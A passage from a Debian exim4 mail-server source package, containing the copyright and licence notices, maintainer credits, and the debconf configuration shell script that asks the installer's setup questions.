2003-???? */ /* License: GPL */ ----------------------------------------------------------------- ----------------------------------------------------------------- Debian Maintainer history: - The Debian package for exim was originally made by Tim Cutts . - Mark Baker took over until exim version 3 and is still involved with packaging. - Steve Haslam, Hilko Bengen and Marc Haber generated the initial packages of Exim v4. - The exim4 packages are currently maintained by - Core Team - (mh) Marc Haber (team leader) - (am) Andreas Metzler (uploader) - Commit Privileges - (hb) Hilko Bengen (documentation, hacks etc) - (cb) Christian Perrier (translations) The following people helped in preparing the exim4 packages and gave important feedback: - Marc Merlin provides the dlopen patch, making it possible to load local_scan-routines for a external shared object. The original patch was written by David Woodhouse, it was modified first by Derrick 'dman' Hudson and afterwards by Marc Merlin. - Sander Smeenk provided the TLS-docs and the script to generate the self-signed certificates. - The people on the exim4debian list that submitted bug-reports and -fixes, and helped with design issues: Matthias Klose, Alexander Koch, Ola Lundqvist, Andrew Mulholland, David Pashley, Andreas Piesk, Nick Phillips and whoever I forgot to mention. - syslog2eximlog script by Martin Godisch. - Hilko Bengen converted the Debian documentation from plain-text to XML format. ----------------------------------------------------------------- ----------------------------------------------------------------- exim is copyright (c) 1999 University of Cambridge. The original licence is as follows (from the file NOTICE in the upstream distribution); a copy of the GNU GPL version 2 is available in /usr/share/common-licenses/GPL-2 on Debian systems. _________________________________________________________________________ THE EXIM MAIL TRANSFER AGENT ---------------------------- Copyright (c) 2002 University of Cambridge This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. In addition, for the avoidance of any doubt, permission is granted to link this program with OpenSSL or any other library package and to (re)distribute the binaries produced as the result of such linking. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111 USA. UNSOLICITED EMAIL ----------------- The use, supply or promotion of Exim for the purpose of sending bulk, unsolicited electronic mail is incompatible with the basic aims of the program, which revolve around the free provision of a service that enhances the quality of personal communications. The author of Exim regards indiscriminate mass-mailing as an antisocial, irresponsible abuse of the Internet. INCORPORATED CODE ----------------- A number of pieces of external code are included in the Exim distribution. . Regular expressions are supported in the main Exim program and in the Exim monitor using the freely-distributable PCRE library, copyright (c) 2003 University of Cambridge. The source is distributed in the directory src/pcre. However, this is a cut-down version of PCRE. If you want to use the PCRE library in other programs, you should obtain and install the full version from ftp://ftp.csx.cam.ac.uk/pub/software/programming/pcre. . Support for the cdb (Constant DataBase) lookup method is provided by code contributed by Nigel Metheringham of Planet Online Ltd. which contains the following statements: _________________________________________________________________________ Copyright (c) 1998 Nigel Metheringham, Planet Online Ltd This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This code implements Dan Bernstein's Constant DataBase (cdb) spec. Information, the spec and sample code for cdb can be obtained from http://www.pobox.com/~djb/cdb.html. This implementation borrows some code from Dan Bernstein's implementation (which has no license restrictions applied to it). _________________________________________________________________________ The implementation is completely contained within the code of Exim. It does not link against an external cdb library. . Client support for Microsoft's "Secure Password Authentication" is pro- vided by code contributed by Marc Prud'hommeaux. Server support was contributed by Tom Kistner. This includes code taken from the Samba project, which is released under the Gnu GPL. . Support for calling the Cyrus "pwcheck" and "saslauthd" daemons is provided by code taken from the Cyrus-SASL library and adapted by Alexander S. Sabourenkov. The permission notice appears below, in accordance with the conditions expressed therein. _________________________________________________________________________ Copyright (c) 2001 Carnegie Mellon University. All rights reserved. Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: 1. Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. 2. Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. 3. The name 'Carnegie Mellon University' must not be used to endorse or promote products derived from this software without prior written permission. For permission or any other legal details, please contact Office of Technology Transfer Carnegie Mellon University 5000 Forbes Avenue Pittsburgh, PA 15213-3890 (412) 268-4387, fax: (412) 268-7395 tech-transfer@andrew.cmu.edu 4. Redistributions of any form whatsoever must retain the following acknowledgment: This product includes software developed by Computing Services at Carnegie Mellon University (http://www.cmu.edu/computing/). CARNEGIE MELLON UNIVERSITY DISCLAIMS ALL WARRANTIES WITH REGARD TO THIS SOFTWARE, INCLUDING ALL IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS, IN NO EVENT SHALL CARNEGIE MELLON UNIVERSITY BE LIABLE FOR ANY SPECIAL, INDIRECT OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE. _________________________________________________________________________ . The Exim Monitor program, which is an X-Window application, includes modified versions of the Athena StripChart and TextPop widgets. This code is copyright by DEC and MIT, and their permission notice appears below, in accordance with the conditions expressed therein. _________________________________________________________________________ Copyright 1987, 1988 by Digital Equipment Corporation, Maynard, Massachusetts, and the Massachusetts Institute of Technology, Cambridge, Massachusetts. All Rights Reserved Permission to use, copy, modify, and distribute this software and its documentation for any purpose and without fee is hereby granted, provided that the above copyright notice appear in all copies and that both that copyright notice and this permission notice appear in supporting documen- tation, and that the names of Digital or MIT not be used in advertising or publicity pertaining to distribution of the software without specific, written prior permission. DIGITAL DISCLAIMS ALL WARRANTIES WITH REGARD TO THIS SOFTWARE, INCLUDING ALL IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS, IN NO EVENT SHALL DIGITAL BE LIABLE FOR ANY SPECIAL, INDIRECT OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE. _________________________________________________________________________ . Some of the code to support the use of maildirsize files for maildir deliveries is taken from the Courier Imapd source code. This code is released under the GPL. _________________________________________________________________________ -- Philip Hazel University of Cambridge Computing Service, ph10@cus.cam.ac.uk Cambridge, England. Phone: +44 1223 334714. ----------------------------------------------------------------- ----------------------------------------------------------------- src/pdkim/* PDKIM - a RFC4871 (DKIM) implementation http://duncanthrax.net/pdkim/ Copyright (C) 2009 Tom Kistner Includes code from the PolarSSL project. http://polarssl.org Copyright (C) 2009 Paul Bakker Copyright (C) 2006-2008 Christophe Devine This copy of PDKIM is included with Exim. For a standalone distribution, visit http://duncanthrax.net/pdkim/. License: Both the parts from PolarSSL and the original code are licensed under GPLv2+. ----------------------------------------------------------------- ----------------------------------------------------------------- Generating a tarball from CVS snapshot. Upstream is keeping sourcecode and documention (including changelog) in separate CVS modules: exim-src and exim-doc. However the release tarball contains parts from both modules. 1. Use exim-src modules as base 2. Generate a doc subdirectory containing he contents of exim-doc/doc-txt/. 3. Take exim-doc and build the txt files You will need xfpt, xmlto, docbook-xsl and w3m. cd doc-docbook ; make spec.txt filter.txt exim.8 Copy the three files to exim-version/doc/ debian/exim4-config.config0000644000000000000000000005777712200230010012651 0ustar #!/bin/sh set -e alias stripwhitespace="sed -e 's/^[[:blank:]]*//' -e 's/[[:blank:]]*$//'" installeddebconfversion="$(dpkg -s debconf | sed -ne '/^Version/s/^Version: //p')" if [ "reconfigure" != "$1" ] && \ dpkg --compare-versions "${installeddebconfversion}" "le" "1.4" && \ [ "$exim4postinstisrunning" != "true" ] ; then echo "exim4-config.postinst: [WARN] Installed debconf version is broken. Aborting preconfigure." 1>&2 exit 0 fi . /usr/share/debconf/confmodule if [ -n "$EX4DEBUG" ]; then echo "now debugging $0 $@" set -x fi UE4CC="/etc/exim4/update-exim4.conf.conf" convert_to_long () { case "$1" in internet) echo -n "internet site; mail is sent and received directly using SMTP" ;; smarthost) echo -n "mail sent by smarthost; received via SMTP or fetchmail" ;; satellite) echo -n "mail sent by smarthost; no local mail" ;; local) echo -n "local delivery only; not on a network" ;; none) echo -n "no configuration at this time" ;; esac } convert_to_short () { case "$1" in "internet site; mail is sent and received directly using SMTP") echo -n "internet" ;; "mail sent by smarthost; received via SMTP or fetchmail") echo -n "smarthost" ;; "mail sent by smarthost; no local mail") echo -n "satellite" ;; "local delivery only; not on a network") echo -n "local" ;; "no configuration at this time") echo -n "none" ;; esac } convert_transport_to_long () { case "$1" in maildir_home) echo -n "Maildir format in home directory" ;; mail_spool) echo -n "mbox format in /var/mail/" ;; *) echo -n "locally customized" ;; esac } convert_transport_to_short () { case "$1" in "Maildir format in home directory") echo -n "maildir_home" ;; "mbox format in /var/mail/") echo -n "mail_spool" ;; *) echo -n "custom" ;; esac } # store environment variables in debconf db. storevar2db() { dc_eximconfig_configtype="$(printf '%s\n' "${dc_eximconfig_configtype}" | stripwhitespace)" dc_local_interfaces="$(printf '%s\n' "${dc_local_interfaces}" | stripwhitespace)" dc_other_hostnames="$(printf '%s\n' "${dc_other_hostnames}" | stripwhitespace)" dc_readhost="$(printf '%s\n' "${dc_readhost}" | stripwhitespace)" dc_relay_domains="$(printf '%s\n' "${dc_relay_domains}" | stripwhitespace)" dc_relay_nets="$(printf '%s\n' "${dc_relay_nets}" | stripwhitespace)" dc_smarthost="$(printf '%s\n' "${dc_smarthost}" | stripwhitespace)" dc_minimaldns="$(printf '%s\n' "${dc_minimaldns}" | stripwhitespace)" dc_use_split_config="$(printf '%s\n' "${dc_use_split_config}" | stripwhitespace)" dc_hide_mailname="$(printf '%s\n' "${dc_hide_mailname}" | stripwhitespace)" # store externally changed values to debconf.db db_set exim4/dc_eximconfig_configtype \ "$(convert_to_long ${dc_eximconfig_configtype})" db_set exim4/dc_local_interfaces "${dc_local_interfaces}" db_set exim4/dc_other_hostnames "${dc_other_hostnames}" db_set exim4/dc_readhost "${dc_readhost}" db_set exim4/dc_relay_domains "${dc_relay_domains}" db_set exim4/dc_relay_nets "${dc_relay_nets}" db_set exim4/dc_smarthost "${dc_smarthost}" if [ "${dc_minimaldns}" != "" ]; then db_set exim4/dc_minimaldns "${dc_minimaldns}" fi db_set exim4/use_split_config "${dc_use_split_config}" db_set exim4/hide_mailname "${dc_hide_mailname}" # do not store "locally customized" in debconf db, otherwise simply # removing the custom dc_localdelivery from ue4cc won't work. if [ "${dc_localdelivery}" != "" ] && [ "$(convert_transport_to_long ${dc_localdelivery})" != "locally customized" ] ; then db_set exim4/dc_localdelivery \ "$(convert_transport_to_long ${dc_localdelivery})" fi db_fset "exim4/dc_other_hostnames" mailname "${dc_mailname_in_oh}" } # ipv6: replace double colons in colon-separated host lists with umlaut-o # replace ':' with ' : ', add leading and ending whitespace. # return empty string if custom delimiter was used: # local_domains = <; 172.16.0.0/12; 3ffe:ffff:836f::/48 # e.g: 'localhost : 172.16.0.1 :3ffe::ffff::836f::::: foo.org' # ===> ' localhost : 172.16.0.1 : 3ffeffff836f : foo.org ' alias coloncolon2oe="env -u LC_ALL LC_CTYPE=C sed -e 's/[[:blank:]]*//g' -e '/^ dc_eximconfig_configtype=internet # if cat $1 | grep -h -A2 '^lookuphost:' | \ grep -h -A1 '[[:blank:]]*driver = lookuphost' | \ grep -h -q '[[:blank:]]*transport = remote_smtp' ; then dc_eximconfig_configtype=internet else # smart:-director exists ---> dc_eximconfig_configtype=satellite # # Later we need the new_address directive to find dc_readhost. # ' || true' is required for "set -e" dc_readhost="$(cat $1 | grep -h -A2 '^smart:' | grep -h -A1 '^[[:blank:]]*driver = smartuser' | grep -h '^[[:blank:]]*new_address' || true)" # smarthost router exists --> dc_eximconfig_configtype is satellite or smarthost # # we need the route_list directive to find dc_smarthost # ' || true' is required for "set -e" dc_smarthost="$(< $1 grep -A3 '^smarthost:' | grep -A2 '[[:blank:]]*driver = domainlist' | grep -A1 '^[[:blank:]]*transport = remote_smtp' | grep '^[[:blank:]]*route_list = ".*"' || true)" if [ ! -z "${dc_readhost}" ] ; then dc_eximconfig_configtype=satellite elif [ ! -z "${dc_smarthost}" ] ; then dc_eximconfig_configtype=smarthost elif ! cat "$1" | grep -h -q '^remote_smtp:'; then # dc_eximconfig_configtype=local has no remote_smtp transport. dc_eximconfig_configtype=local else # handcrafted config. We probably misparsed, reset values # and exit. dc_eximconfig_configtype='' dc_local_interfaces='notset' dc_other_hostnames='' dc_readhost='' dc_relay_domains='' dc_relay_nets='' dc_smarthost='' dc_hide_mailname='' return 1 fi fi case ${dc_eximconfig_configtype} in internet|local) #paranoia dc_readhost='' dc_smarthost='' dc_hide_mailname='false' ;; satellite) # new_address = ${local_part}@$readhost dc_readhost="$(printf '%s\n' "${dc_readhost}" | sed -e 's/^.*@//' -e 's/[[:blank:]]*$//')" # route_list = "* $smtphost bydns_a" dc_smarthost="$(printf '%s\n' "${dc_smarthost}" | \ sed -e 's/^ *route_list = "\* //' -e 's/ bydns_a"//' -e 's/[[:blank:]]*$//')" dc_hide_mailname='true' dc_relay_domains='' ;; smarthost) # route_list = "* $smtphost bydns_a" dc_smarthost="$(printf '%s\n' "${dc_smarthost}" | \ sed -e 's/^ *route_list = "\* //' -e 's/ bydns_a"//' -e 's/[[:blank:]]*$//')" dc_hide_mailname='false' dc_relay_domains='' ;; esac } ########## mailname2otherhostnames() { # u-ex4.conf no longer includes mailname in local domains, # insert it once into other_hostnames. # The debconf script might run twice, we need to store the result # in a file to pass it to postinst.. [ -d /var/lib/exim4 ] || \ install -d -oroot -groot -m755 /var/lib/exim4 dc_mailname="$(head -n 1 /etc/mailname | stripwhitespace)" || true if [ -z "${dc_other_hostnames}" ] ; then dc_other_hostnames="${dc_mailname}" else dc_other_hostnames="$(printf '%s\n' "${dc_other_hostnames}" | stripwhitespace)":${dc_mailname} fi printf '%s\n' dc_other_hostnames="'""${dc_other_hostnames}""'" > \ /var/lib/exim4/addmailname2oh db_fset "exim4/dc_other_hostnames" mailname true dc_mailname_in_oh="true" } mailname2otherhostnamesdcloop() { # append mailname to other_hostnames, once. on fresh installations. if [ "${dc_mailname_in_oh}" != "true" ] ;then db_get exim4/mailname dc_mailname="$(printf '%s\n' "$RET"| stripwhitespace)" db_get "exim4/dc_other_hostnames" dc_other_hostnames="$(printf '%s\n' "$RET"| stripwhitespace)" if [ -z "${dc_other_hostnames}" ] ; then dc_other_hostnames="${dc_mailname}" else dc_other_hostnames="${dc_other_hostnames}:${dc_mailname}" fi db_set exim4/dc_other_hostnames "${dc_other_hostnames}" db_fset "exim4/dc_other_hostnames" mailname true dc_mailname_in_oh="true" fi } ########## # set to dummy value, so we can differ between unset vs (seen or set outside debconf) dc_local_interfaces=notset db_settitle exim4/exim4-config-title db_get exim4/dc_eximconfig_configtype dc_eximconfig_configtype="$(convert_to_short "$RET")" db_get exim4/use_split_config dc_use_split_config="$RET" # Did we append mailname to other_hostnames yet? db_fget "exim4/dc_other_hostnames" mailname || true dc_mailname_in_oh="$RET" if [ -e $UE4CC ] ; then . $UE4CC || true # on upgrades _once_ add mailname to other_hostnames if [ -n "$2" ] && [ "$1" = "configure" ] && \ [ "${dc_mailname_in_oh}" != "true" ] ; then mailname2otherhostnames fi # set defaults using these values storevar2db else # If there are no debconf answers (running first time) and we are # making a cross upgrade from exim3, try to parse its config file # to seed debconf db. if [ "${dc_eximconfig_configtype}" = "" ] && [ -r /etc/exim/exim.conf ] ; then # parse old configfile # # first do unfolding of lines continued with backslash, by: # 1. remove comment lines # 2. remove blank lines # 3. remove "\" exim3confunfolded="$(tempfile -p EX3)" perl -e \ 'undef $/; while (<>) { s/^[[:space:]]*#[^\n]*\n//mg; s/^\n//mg; s/\\[[:space:]]*\n[[:space:]]*//g; } continue { print or die "blah"; }' < /etc/exim/exim.conf > "$exim3confunfolded" if parseexim3 "$exim3confunfolded" ; then # set defaults using these values storevar2db fi rm -f "$exim3confunfolded" fi fi ## set up default values, we cannot do this in templates file because ## config script is called two times before update-exim4.conf.conf exists. [ "${dc_eximconfig_configtype}" = "" ] && \ dc_eximconfig_configtype="local" && \ db_set exim4/dc_eximconfig_configtype "$(convert_to_long ${dc_eximconfig_configtype})" if [ -e /etc/mailname ] ; then dc_mailname="$(head -n 1 /etc/mailname | stripwhitespace)" || true # store values db_set exim4/mailname "${dc_mailname}" else db_get exim4/mailname dc_mailname="$RET" fi #Set default mailname if [ "${dc_mailname}" = "" ] ; then dc_mailname="$(hostname --fqdn 2>/dev/null)" || dc_mailname="$(hostname)" && \ dc_mailname="$(printf '%s\n' "${dc_mailname}" | stripwhitespace)" && \ db_set exim4/mailname "${dc_mailname}" fi fqdn="$(hostname --fqdn 2>/dev/null)" || fqdn='' db_subst exim4/dc_other_hostnames fqdn "$fqdn" # initialize env-vars from debconf_db, if they haven't been set yet either by # parseexim3() or by sourcing $UE4CC if [ "${dc_readhost}" = "" ] ; then db_get exim4/dc_readhost dc_readhost="$RET" fi if [ "${dc_smarthost}" = "" ] ; then db_get exim4/dc_smarthost dc_smarthost="$RET" fi # Tricky! An empty value for this option is significant, therefore both # envvar and debconf-value default to "nonset" instead of "", the # following line will only change then envvars value if the config-script # runs the second time without existing $UE4CC or # if the debconf-db has been preseeded by other means. if [ "${dc_local_interfaces}" = "notset" ]; then db_get exim4/dc_local_interfaces dc_local_interfaces="$RET" fi if [ "${dc_minimaldns}" = "" ] ; then db_get exim4/dc_minimaldns dc_minimaldns="$RET" fi if [ "${dc_use_split_config}" = "" ] ; then if [ "${2}" = "" ] ; then # fresh installation db_set exim4/use_split_config false dc_use_split_config="false" else db_set exim4/use_split_config true dc_use_split_config="true" fi fi if [ "${dc_localdelivery}" = "" ] ; then db_get exim4/dc_localdelivery dc_localdelivery="$(convert_transport_to_short "$RET")" elif [ "$(convert_transport_to_long ${dc_localdelivery})" = "locally customized" ] ; then dc_localdelivery="custom" fi db_version 2.0 db_capb backup # initial state STATE=1 # state to continue for all values CONTSTATE=50 # last valid state STATELIMIT=51 EX4QUESTION="" while [ "$STATE" != 0 ] && [ "$STATE" -le "$STATELIMIT" ]; do case "$STATE" in 1) # this is now empty EX4QUESTION="" BACKSTATE=$(($STATE - 1)) FORWSTATE=$(($STATE + 1)) ;; 2) EX4QUESTION="exim4/dc_eximconfig_configtype" BACKSTATE=$(($STATE - 1)) FORWSTATE=$(($STATE + 1)) CONFIGTYPEQUESTION=2 db_input medium "$EX4QUESTION" || true ;; 3) EX4QUESTION="" db_get exim4/dc_eximconfig_configtype dc_eximconfig_configtype="$(convert_to_short "$RET")" BACKSTATE=$(($STATE - 1)) case "${dc_eximconfig_configtype}" in none) # dont ask more questions #FORWSTATE=$(($STATELIMIT + 1)) FORWSTATE=4 ;; internet) FORWSTATE=8 ;; smarthost) FORWSTATE=20 ;; satellite) FORWSTATE=30 ;; local) FORWSTATE=40 ;; *) # Should not happen. Break loop FORWSTATE=$(($STATELIMIT + 1)) ;; esac ;; 4) # show additional info for type=none EX4QUESTION="exim4/no_config" BACKSTATE=$CONFIGTYPEQUESTION FORWSTATE=$(($STATE + 1)) # same priority as configtype because of danger of loop? db_input medium "$EX4QUESTION" || true ;; 5) EX4QUESTION="" BACKSTATE=$CONFIGTYPEQUESTION db_get exim4/no_config || true if [ "$RET" = "false" ]; then FORWSTATE=$CONFIGTYPEQUESTION else #break loop FORWSTATE=$CONTSTATE fi ;; 8) # internet site EX4QUESTION="exim4/mailname" db_input medium "$EX4QUESTION" || true BACKSTATE=$CONFIGTYPEQUESTION FORWSTATE=$(($STATE + 1)) ;; 9) EX4QUESTION="exim4/dc_local_interfaces" BACKSTATE=$(($STATE - 1)) FORWSTATE=$(($STATE + 1)) if [ "${dc_local_interfaces}" = "notset" ] ; then dc_local_interfaces='' db_set exim4/dc_local_interfaces '' fi db_input medium "$EX4QUESTION" || true ;; 10) EX4QUESTION="exim4/dc_other_hostnames" BACKSTATE=$(($STATE - 1)) FORWSTATE=$(($STATE + 1)) mailname2otherhostnamesdcloop db_input medium "$EX4QUESTION" || true ;; 11) EX4QUESTION="exim4/dc_relay_domains" db_input medium "$EX4QUESTION" || true BACKSTATE=$(($STATE - 1)) FORWSTATE=$(($STATE + 1)) ;; 12) EX4QUESTION="exim4/dc_relay_nets" db_input medium "$EX4QUESTION" || true BACKSTATE=$(($STATE - 1)) FORWSTATE=$(($STATE + 1)) ;; 13) EX4QUESTION="exim4/dc_minimaldns" BACKSTATE=$(($STATE - 1)) FORWSTATE=$(($STATE + 1)) db_input low "$EX4QUESTION" || true ;; 14) EX4QUESTION="exim4/dc_localdelivery" BACKSTATE=$(($STATE - 1)) FORWSTATE=$CONTSTATE # do not ask question if user has set a different transport # than maildir or mailspool if [ "${dc_localdelivery}" != "custom" ] ; then db_input low "$EX4QUESTION" || true fi ;; 20) # internet site with smarthost EX4QUESTION="exim4/mailname" db_input medium "$EX4QUESTION" || true BACKSTATE=$CONFIGTYPEQUESTION FORWSTATE=$(($STATE + 1)) ;; 21) EX4QUESTION="exim4/dc_local_interfaces" BACKSTATE=$(($STATE - 1)) FORWSTATE=$(($STATE + 1)) if [ "${dc_local_interfaces}" = "notset" ] ; then dc_local_interfaces='127.0.0.1 ; ::1' db_set exim4/dc_local_interfaces '127.0.0.1 ; ::1' fi db_input medium "$EX4QUESTION" || true ;; 22) EX4QUESTION="exim4/dc_other_hostnames" BACKSTATE=$(($STATE - 1)) FORWSTATE=$(($STATE + 1)) mailname2otherhostnamesdcloop db_input medium "$EX4QUESTION" || true ;; 23) EX4QUESTION="exim4/dc_relay_domains" BACKSTATE=$(($STATE - 1)) FORWSTATE=$(($STATE + 1)) db_get "$EX4QUESTION" || true dc_relay_domains="$RET" # Only ask for relay domains if non-empty, since this only # really works for internet site hosts. (See comment near # smarthost router definition in configuration file.) if [ "${dc_relay_domains}" != "" ] ; then db_input medium "$EX4QUESTION" || true fi ;; 24) EX4QUESTION="exim4/dc_relay_nets" db_input medium "$EX4QUESTION" || true BACKSTATE=$(($STATE - 1)) FORWSTATE=$(($STATE + 1)) ;; 25) EX4QUESTION="exim4/dc_smarthost" if [ "${dc_smarthost}" = "" ] ; then # default to mail.mailname dc_smarthost="mail.${dc_mailname}" db_set exim4/dc_smarthost "${dc_smarthost}" fi db_input medium "$EX4QUESTION" || true BACKSTATE=$(($STATE - 1)) FORWSTATE=$(($STATE + 1)) ;; 26) EX4QUESTION="exim4/hide_mailname" BACKSTATE=$(($STATE - 1)) FORWSTATE=$(($STATE + 1)) db_get exim4/mailname || true dc_mailname="$RET" db_get exim4/dc_other_hostnames || true dc_other_hostnames="$RET" db_subst exim4/hide_mailname mailname ${dc_mailname} db_subst exim4/hide_mailname dc_other_hostnames \ ${dc_other_hostnames} db_get $EX4QUESTION || true dc_hide_mailname="$RET" if [ "${dc_hide_mailname}" = "" ] ; then dc_hide_mailname='false' db_set exim4/hide_mailname "${dc_hide_mailname}" fi db_input medium "$EX4QUESTION" || true ;; 27) EX4QUESTION="exim4/dc_readhost" BACKSTATE=$(($STATE - 1)) FORWSTATE=$(($STATE + 1)) db_get exim4/hide_mailname dc_hide_mailname="$RET" if [ "${dc_hide_mailname}" = "true" ];then if [ "${dc_readhost}" = "" ] ; then # default to mailname dc_readhost="${dc_mailname}" db_set exim4/dc_readhost "${dc_readhost}" fi db_input medium "$EX4QUESTION" || true else EX4QUESTION="" fi ;; 28) EX4QUESTION="exim4/dc_minimaldns" BACKSTATE=$(($STATE - 1)) FORWSTATE=$(($STATE + 1)) db_input low "$EX4QUESTION" || true ;; 29) EX4QUESTION="exim4/dc_localdelivery" BACKSTATE=$(($STATE - 1)) FORWSTATE=$CONTSTATE # do not ask question if user has set a different transport # than maildir or mailspool if [ "${dc_localdelivery}" != "custom" ] ; then db_input low "$EX4QUESTION" || true fi ;; 30) # satellite EX4QUESTION="exim4/mailname" db_input medium "$EX4QUESTION" || true BACKSTATE=$CONFIGTYPEQUESTION FORWSTATE=$(($STATE + 1)) ;; 31) EX4QUESTION="exim4/dc_local_interfaces" BACKSTATE=$(($STATE - 1)) FORWSTATE=$(($STATE + 1)) if [ "${dc_local_interfaces}" = "notset" ] ; then dc_local_interfaces='127.0.0.1 ; ::1' db_set exim4/dc_local_interfaces '127.0.0.1 ; ::1' fi db_input medium "$EX4QUESTION" || true ;; 32) EX4QUESTION="exim4/dc_other_hostnames" BACKSTATE=$(($STATE - 1)) FORWSTATE=$(($STATE + 1)) mailname2otherhostnamesdcloop db_input medium "$EX4QUESTION" || true ;; 33) EX4QUESTION="exim4/dc_readhost" BACKSTATE=$(($STATE - 1)) FORWSTATE=$(($STATE + 1)) # satellite requires a mail-hub, no use asking whether there # is one. db_set exim4/hide_mailname "true" dc_hide_mailname="true" if [ "${dc_readhost}" = "" ] ; then # default to domain of mailname dc_readhost="${dc_mailname}" db_set exim4/dc_readhost "${dc_readhost}" fi db_input medium "$EX4QUESTION" || true ;; 34) EX4QUESTION="exim4/dc_smarthost" BACKSTATE=$(($STATE - 1)) FORWSTATE=$(($STATE + 1)) db_get exim4/dc_readhost dc_readhost="$RET" if [ "${dc_smarthost}" = "" ] ; then # default to read_host dc_smarthost="${dc_readhost}" db_set exim4/dc_smarthost "${dc_smarthost}" fi db_input medium "$EX4QUESTION" || true ;; 35) EX4QUESTION="exim4/dc_relay_domains" BACKSTATE=$(($STATE - 1)) FORWSTATE=$(($STATE + 1)) db_get "$EX4QUESTION" || true dc_relay_domains="$RET" # Only ask for relay domains if non-empty, since this only # really works for internet site hosts. (See comment near # smarthost router definition in configuration file.) if [ "${dc_relay_domains}" != "" ] ; then db_input medium "$EX4QUESTION" || true fi ;; 36) EX4QUESTION="" BACKSTATE=$(($STATE - 1)) FORWSTATE=$(($STATE + 1)) # satellite-system! Only ask for relay_nets if they are # nonempty - we cannot distinguish whether they were set outside debconf # or whether the user switched dc_eximconfig_configtype db_get exim4/dc_relay_nets || true dc_relay_nets="$RET" if [ "${dc_relay_nets}" != "" ] ; then db_input medium exim4/dc_relay_nets || true FORWSTATE=$(($STATE + 1)) fi ;; 37) EX4QUESTION="exim4/dc_minimaldns" BACKSTATE=$(($STATE - 1)) FORWSTATE=$(($STATE + 1)) db_input low "$EX4QUESTION" || true ;; 38) EX4QUESTION="exim4/dc_localdelivery" BACKSTATE=$(($STATE - 1)) FORWSTATE=$CONTSTATE # Only ask question if it is set to a value that is both supported # by debconf (maildir_home and mail_spool) and is not set to the # default value (maildir_home) since this is only used for # real-*. if [ "${dc_localdelivery}" = "maildir_home" ] ; then db_input low "$EX4QUESTION" || true fi ;; 40) # local mail only EX4QUESTION="exim4/mailname" db_input medium "$EX4QUESTION" || true BACKSTATE=$CONFIGTYPEQUESTION FORWSTATE=$(($STATE + 1)) ;; 41) EX4QUESTION="" BACKSTATE=$(($STATE - 1)) FORWSTATE=$(($STATE + 1)) if [ "${dc_local_interfaces}" = "notset" ] ; then dc_local_interfaces='127.0.0.1 ; ::1' db_set exim4/dc_local_interfaces '127.0.0.1 ; ::1' fi db_input medium exim4/dc_local_interfaces || true ;; 42) EX4QUESTION="exim4/dc_other_hostnames" BACKSTATE=$(($STATE - 1)) FORWSTATE=$(($STATE + 1)) mailname2otherhostnamesdcloop db_input medium "$EX4QUESTION" || true ;; 43) EX4QUESTION="" BACKSTATE=$(($STATE - 1)) FORWSTATE=$(($STATE + 1)) # local mail only -system! Only ask for relay_nets/relay_domains if they are # nonempty - we cannot distinguish whether they were set outside debconf # or whether the user switched dc_eximconfig_configtype db_get exim4/dc_relay_nets || true dc_relay_nets="$RET" db_get exim4/dc_relay_domains || true dc_relay_domains="$RET" if [ "${dc_relay_nets}" != "" ] ; then db_input medium exim4/dc_relay_nets || true fi if [ "${dc_relay_domains}" != "" ] ; then db_input medium exim4/dc_relay_domains || true fi ;; 44) EX4QUESTION="exim4/dc_minimaldns" BACKSTATE=$(($STATE - 1)) FORWSTATE=$(($STATE + 1)) db_input low "$EX4QUESTION" || true ;; 45) EX4QUESTION="exim4/dc_localdelivery" BACKSTATE=$(($STATE - 1)) FORWSTATE=$CONTSTATE # do not ask question if user has set a different transport # than maildir or mailspool if [ "${dc_localdelivery}" != "custom" ] ; then db_input low "$EX4QUESTION" || true fi ;; 50) EX4QUESTION="exim4/use_split_config" BACKSTATE=$PREVSTATE FORWSTATE=$(($STATELIMIT + 1)) db_input medium "$EX4QUESTION" || true ;; esac PREVSTATE=$STATE if db_go; then STATE=$FORWSTATE else STATE=$BACKSTATE fi done if [ "$STATE" = 0 ] ; then # User pressed back on the first question, go back to previous # package if run by base-config 2.0. #222773. exit 30 fi # make sure dc_local_interfaces is set to sane value if [ "${dc_local_interfaces}" = "notset" ] ; then dc_local_interfaces='' db_set exim4/dc_local_interfaces '' fi if [ ! -e /etc/aliases ] || \ ! grep -q '^root:[[:space:]]*[[:alnum:]]' /etc/aliases ; then db_get exim4/dc_postmaster if [ -z "$RET" ] && db_get passwd/username; then db_set exim4/dc_postmaster "${RET}" fi db_input medium exim4/dc_postmaster || true db_go || true fi db_get exim4/dc_postmaster || true dc_postmaster="$(printf '%s\n' "$RET" | stripwhitespace)" # this has been commented out for a long time, remove by the end of 2007 # if [ "${dc_eximconfig_configtype}" = "satellite" ] || [ "${dc_eximconfig_configtype}" = "local" ] ; then # # reset dc_relay_domains dc_relay_nets and dc_other_hostnames # db_set exim4/dc_relay_domains "" # db_set exim4/dc_relay_nets "" # db_set exim4/dc_other_hostnames "" # fi debian/exim4-config.manpages0000644000000000000000000000023512027557533013205 0ustar debian/manpages/update-exim4.conf.8 debian/manpages/update-exim4.conf.template.8 debian/manpages/update-exim4defaults.8 debian/manpages/exim4-config_files.5 